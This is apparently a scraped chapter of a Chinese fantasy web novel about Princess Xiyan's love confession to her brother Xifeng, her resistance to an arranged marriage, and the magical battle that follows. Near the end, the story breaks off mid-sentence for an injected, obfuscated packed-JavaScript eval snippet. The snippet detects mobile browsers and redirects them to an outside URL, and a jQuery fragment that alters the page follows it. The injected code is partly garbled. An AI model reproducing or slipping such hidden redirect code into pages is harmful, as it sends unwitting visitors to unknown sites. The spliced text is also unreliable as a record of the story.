默认冷灰
24号文字
方正启体

1562. 16 迷雾中的告白

作者:Ann泠善然本书字数:K更新时间:
    在曜雪玥星的冰雪大陆幻雪帝国,迷雾笼罩的冰原深处,月神嫦曦乳名苒苒的曦言公主,颤抖着摘下眼前银玥公子,亦是曦风王子的薄玉面具,将满心的眷恋与羞涩化作一句深情的告白:“哥哥,我喜欢你。”


    宇宙纪元的冰晶穹顶下,曜雪玥星悬浮在星河漩涡中央。冰雪大陆的幻雪帝国笼罩在永恒的雾霭中,刃雪城的琉璃尖塔刺破云层,折射出千万道冷冽的光。归渔居寝阁的純玥楼里,十二盏鲛人泪灯将珺悦府的冰晶墙面映得朦胧,月光穿过雕花窗棂,在雪姬拖曳三尺的白裙上碎成星屑。


    雪姬的指尖还残留着方才触碰面具时的凉意。她垂眸望着兄长苍白如玉的面容,睫毛在眼下投出蝶翼般的阴影。曦风王子银发间的冰棱正簌簌坠落,那件素白长袍上暗绣的北极星图腾在雾中若隐若现,领口处的雪绒随着他微颤的呼吸轻轻起伏。作为北极大帝的继任者,他向来冷若冰霜的神色此刻竟泛起一丝涟漪,像是被投石惊破的湖面。


    "哥哥..."雪姬攥紧裙摆的手指泛白,发间的珍珠流苏随着颤抖轻响。她忽然想起幼时在茉莉花田丘追逐极光的时光,那时兄长总把最温暖的貂裘披在她肩头。而如今他戴着的薄玉面具,却比冰晶更拒人千里。"为什么要遮住眼睛?"她踮起脚尖,冰凉的指尖抚过面具边缘,"明明...明明你的眼睛比宇宙尘埃还要温柔。"


    曦风的瞳孔在面具后微微收缩,他后退半步却撞翻了案上的冰雕。碎裂的冰晶声中,雪姬趁机扯下面具。月光终于完整地落在那张惊为天人的面容上——银眉如新月,眼尾缀着星辰般的泪痣,薄唇抿成苍白的弧线,却在触及妹妹眼眸的刹那,泛起不自然的绯色。


    "苒苒..."他声音像是被冰晶割裂,却伸手覆住她冰凉的手背,"这里的雾会冻伤你的..."


    "可我更怕冻住的心。"雪姬反握住兄长的手,腕间珊瑚珠串滑落,在冰面上发出清响。她仰头望着那双令宇宙众神都黯然的眼睛,雾气在睫毛凝成细小的冰晶,"哥哥,当极光第三次掠过玫瑰森林时,我就知道,我..."话音未落,窗外忽然传来冰裂般的轰鸣,远处刃雪城的警报声刺破长空。


    冰棱在穹顶垂落成银河倒悬的模样,归渔居純玥楼的鎏冰屏风映出两道交叠的影子。曦言公主白裙上的鲛绡薄纱沾满雾霭,发间九凤衔珠钗随着急促的呼吸轻颤。她仰头望着兄长时,睫毛上凝结的冰晶簌簌坠落,在曦风王子雪色衣襟上洇开细小的水痕。


    "够了。"曦风的声音比冰原上的永冻层更冷,苍白指节扣住她的手腕,却在触及温软肌肤的瞬间微不可察地瑟缩。他银发间的北极星发冠折射出冷光,暗纹云纹长袍下摆扫过满地碎冰,"父亲昨日刚为你定下与玄霜星的婚约。"


    这句话像淬了霜的箭矢,直直贯穿曦言的心脏。她踉跄着后退半步,撞翻了案上的琉璃灯。灯盏碎裂的声响中,记忆如潮水般涌来——十二岁生辰那日,母亲雪皇亲手为她戴上月神冕旒;十五岁初遇玄霜星使者时,父亲玉衡仙君在茶盏后轻叩桌面的沉吟;而此刻兄长眼底的疏离,竟与那日父亲看向雪皇时的神色如出一辙。


    "原来哥哥早就知道。"她突然轻笑出声,素白指尖抚过曦风面具边缘的霜花,"就像知道母亲总在深夜翻看父亲年轻时的画像,就像知道朴水闵偷偷藏起我撕碎的婚约文书。"话音未落,寝阁外忽然传来细碎的脚步声,熹黄色裙裾掠过雕花门槛,朴水闵捧着刚采的冰莲闯进来,发间的铃兰坠子叮当作响。


    "公主!雪皇陛下宣您即刻前往瑀彗大殿!"丫环的声音带着惊慌,目光扫过两人紧握的手时骤然瞪大。曦风像是被烫到般松开手指,面具重新覆上棱角分明的面容,银纹在雾中流转如星河。


    曦言却突然抓住兄长的衣袖,腕间珊瑚珠串哗啦作响:"哥哥可还记得?八岁那年我们在茉莉花田丘迷路,是你用灵力凝结出极光为我指路。那时你说..."她的声音哽咽在喉间,雾气模糊了眼前那张清冷的脸,"你说会永远做我的北极星。"


    寝宫外的风雪突然呼啸起来,冰晶拍打着窗棂发出呜咽。远处瑀彗大殿的钟声穿透雾霭,低沉而悠远。曦风的喉结动了动,想说什么却被风雪卷走,只留下袖口残留的体温,在渐浓的雾色里渐渐消散。


    瑀彗大殿的钟声惊飞了栖息在冰晶檐角的玄羽雀,细碎的冰屑簌簌落在曦言发间。她仰头望着兄长,眼尾的泪痣在雾气中晕染成朦胧的朱砂,白裙上绣着的鲛人泪珠随呼吸微微起伏,像是要将满腹心事化作坠落的星辰。


    曦风垂眸时,睫毛在眼下投出锋利的阴影,白袍上暗绣的北斗七星图腾泛着冷冽的光。他后退半步,靴底碾碎了落在青砖上的冰莲,声音比永冻层的寒冰更刺骨:"雪皇召见,别让母亲久等。"话音未落,腰间的玄铁令牌突然泛起幽蓝光芒——那是雪皇特赐的召见令,此刻正急促震颤,仿佛在催促着什么。


    朴水闵攥着被攥皱的冰莲,熹黄色裙摆扫过满地碎冰,声音带着哭腔:"公主殿下...陛下的脸色很难看..."话未说完,寝阁的琉璃窗突然炸裂,凛冽的寒风卷着冰晶灌入室内,在曦言苍白的脸颊上划出细小血痕。她却浑然不觉,伸手抓住曦风即将转身离去的衣袖:"哥哥当真要推开我?就像当年玉衡仙君推开银岚公主那样?"


    这句话让整个空间瞬间凝固。曦风的背影骤然僵硬,银发间的北极星发冠微微摇晃。远处传来雪皇冕服上银铃的声响,清脆却冰冷,仿佛预示着某种不可抗拒的命运。


    曦言踉跄着上前,白裙在冰面上拖出蜿蜒的水痕:"我见过母亲深夜在藏书阁翻阅父亲的旧信,那些被灵力灼出焦痕的字句里,藏着多少未说出口的遗憾?"她的指尖抚上曦风面具边缘,泪水落在面具上瞬间凝结成冰,"我不要重蹈他们的覆辙...我要你..."


    门外传来雪靴踏碎薄冰的声响,玄蓝色的衣角率先映入眼帘。雪皇银岚公主的湛蓝色冕服上绣着翻涌的银河,额间的冰晶月纹泛着冷光,与曦言发间的月神冕旒遥相呼应。她望着相拥的儿女,嘴角勾起一抹似有若无的弧度,声音如同冰原上的风:"曦言,玄霜星的婚书,该去亲自过目了。"


    曦风的喉结动了动,想甩开妹妹的手,却又在触及她掌心温度的刹那,僵在原地。迷雾越来越浓,将三人的身影笼罩其中,唯有雪皇冕服上的银铃,在寂静中发出细碎而苍凉的声响。


    雪皇银岚公主的声音裹挟着冰棱的寒意,在純玥楼的穹顶下回荡。她湛蓝色冕服上的银河刺绣流转着微光,额间冰晶月纹随着呼吸明灭,宛如高悬在幻雪帝国上空的冷月。玉衡仙君廉贞王子站在她身后半步,素白长袍沾染着茉莉花香,却始终垂眸盯着自己的影子,仿佛不敢直视眼前这对纠缠的儿女。


    曦言的白裙因剧烈颤抖泛起涟漪,裙裾上的鲛人泪珠突然渗出细碎血珠。她猛地转身,发间九凤衔珠钗扫过雪皇的手背,在冰晶般的肌肤上划出浅痕:"母亲当年也这样被祖父逼婚吗?把对父亲的情意锁进琉璃匣,藏在瑀彗大殿的暗格里?"


    雪皇瞳孔骤缩,冕服上的银铃爆发出刺耳的嗡鸣。朴水闵吓得跪倒在地,熹黄色裙摆沾满碎冰,慌乱中扯住公主的裙角:"殿下!"


    "够了!"曦风突然挡在妹妹身前,白袍猎猎作响,银发间的北极星发冠迸发出刺目光芒。他的面具重新泛起霜花,遮住眼底翻涌的情绪:"母亲的命令,我等自当遵从。"话音未落,他袖中突然甩出一道灵力锁链,精准缠住曦言的手腕。


    曦言被扯得踉跄,却倔强地仰起头。她望着兄长面具上蜿蜒的冰纹,忽然想起幼时在茉莉花田丘,他为了帮自己摘取最顶端的极光花,灵力透支晕倒在雪地里的模样。那时他苍白的脸上还带着温柔笑意,说要做她永远的依靠。


    "原来哥哥的承诺,和冰原上的雾凇一样脆弱。"她突然轻笑出声,眼泪砸在锁链上,瞬间凝结成剔透的冰珠。远处传来玄霜星使者的马车声,轮轴碾碎冰层的脆响,如同命运的齿轮开始转动。


    雪皇抬手一挥,整座純玥楼的冰晶墙壁突然亮起幽蓝符文。她的声音混着灵力威压,震得众人耳膜生疼:"即刻启程前往瑀彗大殿。曦言,你该好好看看玄霜星的聘礼——那艘用千年玄冰打造的婚船,足够承载幻雪帝国百年的荣光。"


    曦风攥着锁链的手指关节发白,面具下的唇畔溢出一丝血迹。他不敢回头看妹妹绝望的眼神,只能拖着她往殿外走去。雾气中,朴水闵举着冰莲跌跌撞撞跟在后面,熹黄色身影在冰雪世界里显得格外单薄。而玉衡仙君望着女儿被拖走的背影,终于微微颤抖着抬起手,却在即将触碰雪皇衣摆时,又无力地垂落。


    冰晶穹顶突然震颤,无数细碎的冰棱如星雨坠落。惊鸿仙子冰雅泉的蓝色裙裾率先冲破雾气,她发间的冰蓝玉簪折射出冷光,与沈卿白袍上暗绣的太极图在风雪中交相辉映。两人并肩而立,宛如冰原上生长的双生莲,却在看清曦言被灵力锁链束缚的模样时,双双变了脸色。


    "这是做什么?"冰雅泉的声音裹着霜意,指尖凝结的冰晶顺着袖口滑落,在青砖上绽开六角形的纹路。她素来温柔的眉眼此刻拧成利刃,直直刺向曦风面具后的双眼,"银玥公子要将自己的亲妹妹当成阶下囚?"


    沈卿抬手按住妻子颤抖的肩膀,白袍无风自动,袖口的鎏金云纹泛起微光:"雪皇的命令,我们不便插手。"话虽如此,他却不着痕迹地侧身,将曦言与雪皇的视线隔开。


    曦言的白裙已经沾满冰碴,发间的珍珠流苏散落了大半。她望着好友眼中的疼惜,突然想起半月前在茉莉花田,冰雅泉偷偷塞给她的那封书信——信中画着歪歪扭扭的小人,写着"若有难事,我与卿哥定护你周全"。此刻那些字句仿佛还带着温度,却抵不过兄长手中冰冷的灵力锁链。


    "冰雅姐姐..."曦言的声音破碎在风雪里,"你说过,爱一个人不该被枷锁困住..."


    "够了!"雪皇银岚公主的冕服突然爆发出璀璨蓝光,整座純玥楼的符文同时亮起。她额间的冰晶月纹几乎要迸出实质光芒,"文殊菩萨既是幻雪帝国的座上宾,就该明白帝国的规矩!"


    曦风始终沉默着,苍白的指节将锁链攥得咯吱作响。他能感受到妹妹手腕传来的温度,透过灵力灼烧着他的掌心。冰雅泉突然祭出冰刃,直逼锁链而去,却被沈卿的太极图生生拦住。


    "别冲动。"沈卿的声音低沉而沙哑,"现在动手,只会害了苒苒。"


    朴水闵突然扑到曦言脚边,熹黄色的裙摆上沾满血迹。她哭着抱住公主的腿:"殿下!小闵儿求您别再说话了!"远处传来玄霜星使者的马蹄声,夹杂着礼乐声,在冰雪大陆上回荡,如同催命的丧钟。


    曦言却突然仰头大笑,泪水混着冰晶砸在曦风的手背上。她望着兄长面具上蜿蜒的冰纹,轻声道:"哥哥,原来你的温柔,从来都只存在于雾霭中的幻影里。"


    玄霜星的礼乐声刺破雾霭,鎏金雕花马车碾过冰面,车辕上悬挂的玄铁铃铛震落满枝霜雪。曦言被灵力锁链拖拽着踉跄前行,白裙下的脚踝已被勒出深紫血痕,她却死死盯着曦风白袍上渐染的血色——那是方才自己挣扎时,发间凤钗刺破他掌心留下的印记。


    "放开她!"冰雅泉的蓝色裙摆翻涌如浪,发间冰蓝玉簪化作千万道冰锥,却在触及曦风周身灵力屏障的瞬间碎成齑粉。沈卿袖中的太极图疯狂旋转,将飞溅的冰晶尽数吸纳,他望着曦风面具下紧绷的下颌线,突然低喝:"银玥!你当真要亲手将她推入火坑?"


    曦风的睫毛剧烈颤动,喉间溢出压抑的闷哼。锁链在他掌心勒出沟壑,却比不过妹妹眼底碎裂的星光灼人。记忆如冰棱刺来:半月前在茉莉花田,苒苒踮脚为他别上冰莲的模样;三年前的极光祭,她攥着他的衣角说"哥哥就是我的归处"时的笑颜。此刻那些温度正被雪皇冕服上流转的银河尽数冻结。


    "鸿鸣太子也想插手幻雪帝国的家事?"雪皇银岚公主踏着冰阶缓步而下,湛蓝色冕服扫过之处,地面凝结出蛛网般的霜纹。她抬手召来玄霜星使者呈上的婚书,金箔上的烫金字迹映得曦言瞳孔发颤,"这是玄霜星主亲自撰写的聘文,许诺以半座星辰为聘,只为迎娶我幻雪帝国的月神嫦曦。"


    朴水闵突然扑到雪皇脚边,熹黄色衣袖沾满泥浆:"陛下!公主殿下自小就怕寒,玄霜星终年飘雪..."话音未落,雪皇指尖迸发的灵力将她掀翻在地,冰晶碎片划破少女脸颊,在苍白肌肤上绽开血花。


    "母亲!"曦风突然转身,面具下的声音带着前所未有的震颤。他望着雪皇额间流转的冰晶月纹,恍惚看见二十年前,同样的月纹在千里飞雪的额间闪烁,那时她也是这样冷眼看着父亲被逐出幻雪城。


    曦言却突然挣开锁链,踉跄着撞进冰雅泉怀中。她染血的指尖抓住好友蓝色裙摆,仰头望向雪皇:"母亲可知玄霜星主的真面目?他...他是当年血洗鲛人村落的刽子手!"话音未落,整座純玥楼突然剧烈摇晃,穹顶坠落的冰棱如箭雨般射向众人,而曦风的白袍已经率先裹住妹妹颤抖的身躯,面具下的眼底翻涌着滔天杀意。


    冰棱坠地的脆响中,雪皇银岚公主湛蓝色冕服上的银河刺绣突然剧烈流转,额间冰晶月纹迸发出刺目光芒。"你说什么?"她的声音裹挟着刺骨寒意,整座純玥楼的符文墙轰然亮起,将众人的身影映得忽明忽暗。玄霜星使者的鎏金马车停在殿外,车轮碾过冰面的吱呀声在此刻显得格外刺耳。


    曦言死死攥着冰雅泉的蓝色裙摆,白裙上的鲛人泪珠渗出细密血珠。她仰头直视母亲冷冽的目光,发间九凤衔珠钗剧烈摇晃:"三年前,玄霜星主率舰队突袭鲛人海域,我亲眼看见他..."话音未落,一道冰刃擦着她耳畔飞过,将身后的冰晶立柱劈成两半。


    "住口!"雪皇周身腾起凛冽的寒气,"这些莫须有的罪名,也配质疑玄霜星的诚意?"她抬手召来悬浮在空中的婚书,金箔上的字迹泛着幽光,"这婚书上盖着玄霜星主的本命印记,岂是你几句谎言就能诋毁?"


    曦风的白袍猎猎作响,银发间的北极星发冠爆发出耀眼光芒。他挡在妹妹身前,苍白的指节捏得咯吱作响:"母亲若执意如此,儿臣愿以命相抵。"面具下的声音带着压抑的颤抖,却如钢铁般坚定。


    冰雅泉突然祭出冰蓝色的文殊法相,九条冰龙在她身后盘旋咆哮:"银岚陛下,当年鲛人村落的惨案在宇宙盟早有定论。您身为幻雪帝国之主,难道要为了一纸婚约,罔顾真相?"她的蓝色裙摆翻涌如浪,发间玉簪映出冷冽的光。


    沈卿袖中的太极图缓缓转动,将坠落的冰棱尽数化解。他望着雪皇阴沉的脸色,沉声道:"陛下,这桩婚事若强行促成,恐会引起星际动荡。还望三思。"


    朴水闵突然从地上爬起,熹黄色衣服沾满血污。她挡在曦言身前,声音带着哭腔却异常坚定:"公主殿下那日浑身是血地从鲛人海域逃回来,小闵儿就在她身边!那些伤口,那些恐惧...都是拜玄霜星主所赐!"


    雪皇的眼神微微动摇,冕服上的银铃发出细碎的轻响。她想起二十年前,自己也是这样被父亲逼着与玉衡仙君分离。但转瞬,她的神色又恢复冷硬:"够了!今日谁再阻拦,休怪我不念亲情!"她抬手一挥,玄霜星使者捧着婚书缓缓步入殿内,礼乐声再次响起,震得众人耳膜生疼。


    曦言突然挣脱冰雅泉的怀抱,扑到曦风背上。她的泪水滴在兄长冰凉的白袍上,轻声道:"哥哥,带我走。哪怕天涯海角..."


    玄霜星使者踏过殿门的瞬间,鎏金婚书突然爆发出刺目紫光。曦言感觉后背被兄长的灵力盾牢牢护住,曦风白袍上的北斗七星图腾竟在此时流转生辉,将坠落的冰晶尽数焚成齑粉。冰雅泉的九条冰龙突然发出悲啸,蓝色裙裾无风自动,她望着雪皇眼底翻涌的复杂神色,突然扬手击碎了殿内的玄冰烛台。


    “银岚陛下当真要重蹈覆辙?”冰雅泉指尖凝出冰晶匕首,映出雪皇骤然苍白的脸,“当年玉衡仙君被迫远走时,您在瑀彗大殿哭了七日七夜,难道这些记忆也被千年玄冰封冻了?”沈卿袖中的太极图轰然展开,将雪皇下意识祭出的灵力屏障搅得支离破碎,他望着好友颤抖的肩膀,低声道:“雅泉,莫要...”


    话未说完,朴水闵突然从腰间抽出鲛人匕首,熹黄色裙摆扫过满地碎冰:“公主殿下若要嫁去玄霜星,小闵儿便用这把匕首,挑了那刽子手的双眼!”少女脸颊的血痕还在渗血,眼中却燃着灼人的光。曦言感觉兄长的手臂收紧,透过冰凉的布料,她能清晰感受到他剧烈的心跳。


    雪皇额间的冰晶月纹开始扭曲,湛蓝色冕服上的银河刺绣竟渗出丝丝血线。她踉跄着扶住身旁的冰柱,二十年前景象突然在眼前重叠——同样是这座純玥楼,同样是反对声浪,而她当时也是这样固执地将爱情碾碎在权力脚下。“够了...”她的声音第一次出现裂痕,却在玄霜星使者咳嗽声中重新冷硬如铁,“带月神上婚车。”


    曦风突然转身,面具下的眼尾泛起妖异的红。他扯下颈间的北极星吊坠,灵力注入的瞬间,整座刃雪城的冰棱开始共振。“母亲若执意如此,”他的声音像是从永冻层深处传来,“儿臣便带着苒苒踏碎这幻雪帝国的每一寸冰原。”话音未落,朴水闵已挥刀斩断曦言腕间的灵力锁链,而冰雅泉的冰龙腾空而起,将婚书撕成漫天飞雪。


    玄霜星使者的鎏金冠冕在混乱中坠地,发出清脆的碎裂声。曦风将北极星吊坠狠狠掷向穹顶,万千道冰棱瞬间倒悬而下,在众人头顶交织成寒光凛冽的囚笼。雪皇银岚公主湛蓝色冕服上的银河刺绣彻底渗出鲜血,她踉跄着扶住冰柱,额间的冰晶月纹泛起不祥的暗紫色。


    “逆子!你敢!”雪皇的怒吼震得整座純玥楼剧烈摇晃,殿外的迷雾突然化作实体,如狰狞的巨爪般抓向众人。冰雅泉迅速展开文殊法相,九条冰龙嘶吼着撞向迷雾,蓝色裙摆翻飞间,她咬牙道:“银岚陛下,您若执迷不悟,休怪我不念旧情!”沈卿的太极图旋转出耀眼的金光,将雪皇失控的灵力层层化解,他望着曦风紧绷的背影,低声道:“银玥,先带苒苒离开!”


    曦言的白裙早已被冰碴划破,她却浑然不觉,仰起头凝视着兄长面具下若隐若现的侧脸。记忆如潮水般涌来——幼时在茉莉花田,他为她挡下失控的灵力冲击;十五岁生辰夜,他偷偷带她去观星台看极光,温柔地说“苒苒想要的,哥哥都会给”。此刻他周身散发着近乎癫狂的气息,却仍小心翼翼地将她护在怀中。


    “哥哥...”曦言颤抖着伸手,指尖触到他冰凉的面具,“别为了我与母亲作对...”话未说完,朴水闵突然扑过来,熹黄色衣袖沾满血污:“公主殿下!玄霜星的援军已经到了!”少女举着鲛人匕首,眼神却透着决绝,“小闵儿去拖住他们,你们快走!”


    远处传来震耳欲聋的轰鸣声,整座刃雪城开始剧烈震颤。曦风猛地将曦言横抱而起,白袍猎猎作响:“抱紧我。”他的声音低沉而沙哑,带着不容置疑的坚定。面具下的眼尾红得几乎要滴出血来,额间浮现出古老的北极星纹章。冰雅泉与沈卿同时祭出最强灵力,在雪皇的怒视下为他们强行撕开一条通道。


    “曦风!你今日踏出这扇门,就永远别再回来!”雪皇的声音带着撕裂般的痛苦。曦言回头望去,只见母亲瘫坐在满地冰晶中,湛蓝色冕服破碎不堪,额间的冰晶月纹彻底黯淡无光。而曦风的脚步却没有丝毫犹豫,他抱着她冲进茫茫迷雾,身后传来冰雅泉的怒吼、沈卿的低喝,还有朴水闵尖锐的战吼:“我看谁敢动公主殿下!”


    风雪在曦风掌心凝结成冰刃,他抱着曦言跃过轰然倒塌的冰晶廊柱时,耳后传来玄霜星战舰的破空声。那些刻着玄铁符文的舰身如狰狞巨兽,将刃雪城上空的迷雾搅成翻涌的墨色漩涡。冰雅泉的九条冰龙正与敌方灵力盾激烈碰撞,蓝色光华与暗紫色瘴气交织,在天幕炸出刺目惊雷。


    “往梧桐树街!”沈卿的太极图化作流光缠住追兵,白袍下摆被灵力撕出裂口,“我在茉莉花田设了星轨传送阵!”他转头望向曦风,眼底映着远处雪皇释放的灭世冰莲,“银玥,带她活下去!”


    曦言的白裙浸满兄长的血——方才突围时,他为她挡下玄霜星主的暗箭。此刻她将脸埋进那染血的白袍,闻到熟悉的雪松香混着铁锈味。记忆突然闪回幼年,也是这样被他抱在怀里躲避冰原风暴,那时他说“别怕,哥哥在”,声音清澈如未被污染的冰川。


    “哥哥...”她攥紧他染血的衣襟,“放我下来,我能自己...”


    “闭嘴。”曦风的声音比风雪更冷,却在低头时泄露出一丝颤抖。他面具下的瞳孔泛着妖异紫光,北极星纹章在额间灼出烙印,“再说这种话,我就吻到你说不出话。”这句话惊得曦言猛然抬头,却撞进他眼底翻涌的暗潮,那里藏着比永恒极光更炽热的情愫。


    朴水闵的身影突然从雪雾中冲出,熹黄色裙摆翻飞如蝶。她挥着鲛人匕首劈开追兵,发丝凌乱间仍不忘大喊:“公主殿下!小闵儿找到玉衡仙君了!他...他带着当年雪皇的密档赶来了!”话音未落,一道冰刃擦着她耳畔飞过,在身后的冰墙上刻出狰狞裂痕。


    冰雅泉的蓝色法相突然黯淡几分,她踉跄着抹去嘴角血迹,朝曦风嘶吼:“快走!雪皇启动了‘永夜冰封阵’!整个刃雪城...”话未说完,整座城池的冰晶建筑同时发出悲鸣,千万道冰棱自地底破土而出,如末日荆棘般刺向苍穹。


    曦风猛地提速,灵力在脚下凝结成冰桥。他望着远处茉莉花田隐约的微光,怀中的曦言突然伸手摘下他的面具。月光终于完整地落在那张脸上,银眉下星辰般的泪痣此刻泛着血色,薄唇抿出决绝的弧度。“哥哥,”她踮起脚尖,在呼啸的风雪中吻去他眼角将坠未坠的冰晶,“这次换我护着你。”


    永夜冰封阵的寒芒中,玉衡仙君的素白长袍如一道光刺破迷雾。他怀中的密档泛着陈旧的灵力光晕,苍白的手指抚过泛黄的卷轴,目光与雪皇在空中相撞。二十年前被迫分离的画面与此刻重叠,雪皇额间黯淡的冰晶月纹突然剧烈震颤,湛蓝色冕服上的银河刺绣重新泛起微光。


    “母亲!”曦言在曦风怀


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15477858|158419||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    中挣扎着转身,白裙被冰棱划破,露出脚踝上淡蓝色的人鱼族印记。她望着雪皇眼底翻涌的复杂情绪,突然想起幼时母亲抱着她在观星台数极光,温柔的声音仿佛还萦绕在耳畔:“苒苒的眼睛,像极了初雪时的月光。”此刻那月光却被权力与伤痛蒙尘。


    玄霜星主的笑声混着瘴气席卷而来,暗紫色灵力化作巨蟒缠住冰雅泉的冰龙。“月神嫦曦,你以为逃得掉?”他的鎏金面具下露出森然獠牙,“当年没杀光鲛人,今日便连你这幻雪帝国的公主一起...”话未说完,朴水闵如利箭般冲来,熹黄色裙摆扬起漫天冰晶,鲛人匕首直取对方咽喉。


    沈卿的太极图突然暴涨三倍,金光中浮现出古老的符文。“雅泉,结阵!”他的白袍被灵力撕扯得破碎,发丝间凝结的霜花簌簌坠落。冰雅泉应声祭出九瓣冰莲,蓝色光华与太极图交融,在虚空中划出一道璀璨的星河屏障。


    曦风感觉怀中的少女突然爆发出惊人的灵力,月神冕旒在她头顶浮现,苍白的手指触到他染血的胸膛。“哥哥,记得我们在归渔居刻下的誓言吗?”她的声音带着人鱼族特有的空灵,发间珍珠流苏化作流光没入他的经脉,“同生共死。”


    玉衡仙君终于展开密档,泛黄的绢帛上赫然是雪皇年轻时的字迹:“若有一日,我的孩子因爱而困,请让他们自由。”灵力在字里行间流转,化作万千蝶影飞向雪皇。雪皇踉跄后退,冕服上的血线尽数消散,额间冰晶月纹重新绽放出柔和的光。


    永夜冰封阵的冰棱在距离众人三寸处骤然停住,整个刃雪城陷入诡异的寂静。玄霜星主的巨蟒灵力在璀璨星河前寸寸碎裂,朴水闵的匕首抵住他咽喉,熹黄色衣袖随风猎猎作响。曦风低头望着怀中的曦言,她眼底倒映着他的面容,就像幼时在茉莉花田,她仰头看他时那般纯粹。


    “苒苒...”他的声音第一次在她面前彻底软化,苍白的手指抚过她染血的脸颊。远处传来玉衡仙君与雪皇压抑的哽咽,而冰雅泉和沈卿并肩而立,蓝色与白色的身影在月光下交织成永恒的守护。


    冰棱悬停的刹那,玄霜星主的冷笑刺破凝滞的空气。他鎏金面具下突然裂开蛛网状的纹路,暗紫色瘴气如活物般顺着朴水闵的匕首逆流而上:“幻雪帝国的杂种们,以为凭一纸旧书就能...”话音未落,曦风周身迸发的北极星光芒已将他震飞,白袍上的北斗图腾在夜空中投下巨型幻影。


    “住口!”曦言突然挣脱兄长怀抱,白裙翻飞间,月神冕旒爆发出万道银芒。她颈间的鲛人泪坠浮现出血色纹路,那是三年前目睹鲛人族覆灭时种下的诅咒。“你说我是杂种?”她赤足踏碎脚下冰面,每一步都绽开淡蓝色的人鱼族符文,“可曾记得鲛人长老临终前,将整个族群的怨念都锁进了我的血脉?”


    雪皇银岚公主的湛蓝色冕服无风自动,她望着女儿周身流转的古老力量,瞳孔剧烈收缩。二十年前,她也曾在瑀彗大殿爆发过同样的灵力——那时父亲举剑要斩去与廉贞王子的情丝,她额间的冰晶月纹化作利刃,斩断了维系幻雪帝国百年的权力枷锁。


    “雅泉,结‘星河囚笼’!”沈卿的太极图轰然展开,与冰雅泉的九瓣冰莲融合成璀璨光网。蓝色与白色的灵力交织成银河,将试图逃窜的玄霜星残部尽数困住。冰雅泉发间的玉簪突然崩裂,化作万千冰蝶扑向敌方战舰,她苍白的嘴角却勾起一抹笑意:“卿哥,这次换我护你周全。”


    朴水闵的鲛人匕首已彻底被暗紫色侵蚀,但她仍死死抵着玄霜星主咽喉。熹黄色裙摆被瘴气染成灰黑,少女却转头朝曦言露出灿烂笑容:“公主殿下,小闵儿的匕首可是喝过人鱼血的,淬了咒的!”她的声音在风雪中回荡,惊起栖息在梧桐树顶的玄羽雀,扑棱棱的振翅声打破了战场上诡异的寂静。


    曦风的银发在灵力风暴中狂舞,他望着妹妹周身流转的神秘符文,突然想起幼时她在茉莉花田被藤蔓划伤,人鱼族血脉觉醒时也是这般光芒四溢。那时他笨拙地用灵力为她疗伤,她却笑着说:“哥哥的手比极光还暖。”此刻他伸手想要触碰她,却在指尖触及银芒的瞬间被灼伤。


    “别过来!”曦言的声音带着哭腔,“这诅咒...会伤害你!”她的泪水坠地成冰,在两人之间筑起透明的高墙。而雪皇突然挣脱玉衡仙君的搀扶,湛蓝色冕服撕裂成碎布,额间冰晶月纹与女儿的人鱼符文遥相呼应:“让我来!”她的声音穿透风雪,带着二十年前未竟的决绝,“母亲教你,如何掌控这份力量!”


    雪皇赤足踏碎冰晶,湛蓝色冕服残片如蝶翼纷飞,额间的冰晶月纹与曦言周身的人鱼符文共鸣出震耳欲聋的嗡鸣。她伸出布满裂痕的手,灵力化作银丝缠绕在女儿失控的咒印上:“看着,这力量该这样用——”话音未落,玄霜星主突然挣开朴水闵的钳制,暗紫色瘴气凝成巨爪,直取母女二人后心。


    千钧一发之际,曦风的白袍化作漫天雪羽,每一片都凝结着北极星的寒光。他额间的北极星纹章燃烧成血色,徒手攥住瘴气巨爪,嘶哑的声音混着冰裂声:“动她,先过我这关!”冰雅泉的九条冰龙同时俯冲,蓝色龙息将玄霜星主卷向沈卿急速旋转的太极图,两股力量相撞的气浪掀翻了刃雪城的琉璃穹顶。


    朴水闵的鲛人匕首在混战中脱手,熹黄色裙摆沾满泥浆与血污。她踉跄着爬向曦言,却在触及对方皮肤的瞬间被咒力弹开,细嫩的手掌瞬间布满血痕。“公主殿下!”少女哭喊着又扑上去,“小闵儿不怕!您别一个人扛着!”


    曦言的白裙已被灵力染成深蓝,她望着兄长染血的侧脸,记忆突然闪回那年极光节——他也是这样挡在她身前,用灵力为她筑起温暖的结界。而此刻雪皇冰凉的掌心覆上她的额头,母亲的声音混着灵力涌入脑海:“当年我不敢反抗,才害得你父亲远走...这次,母亲与你一起。”


    沈卿的太极图突然迸发出刺目金光,将玄霜星主困在阴阳鱼的漩涡中心。冰雅泉趁机甩出冰链缠住对方脚踝,蓝色裙摆翻飞间,她朝曦风大喊:“银玥!带苒苒去归渔居!那里有你们幼时埋下的灵力共鸣阵!”


    曦风不再犹豫,揽住曦言腰肢腾空而起。她发间的珍珠流苏散落,有一颗正巧落在雪皇掌心。雪皇望着女儿远去的背影,指尖抚过珍珠上细小的牙印——那是曦言三岁时留下的痕迹。玉衡仙君不知何时走到她身侧,素白长袍轻轻裹住她颤抖的肩膀,二十年前被斩断的情丝,在漫天风雪中悄然生长。


    冰晶在归渔居的屋檐下凝结成透明的钟乳,曦风抱着曦言撞开純玥楼的鎏冰大门。二十年前埋下的灵力共鸣阵应声苏醒,地面的北斗星图与曦风额间纹章交相辉映,而墙上幼时的涂鸦——歪歪扭扭的牵手小人与"永远在一起"的誓言,此刻在蓝光中忽明忽暗。


    "撑住。"曦风将她轻轻放在铺满冰莲的卧榻上,指尖抚过她染血的脸颊。他的白袍早已破碎不堪,银发间凝结的血痂随着动作簌簌掉落,却仍固执地用灵力为她压制咒印。远处传来冰雅泉的冰龙怒吼与沈卿太极图的轰鸣,混着朴水闵尖锐的呼喊:"公主殿下!坚持住!"


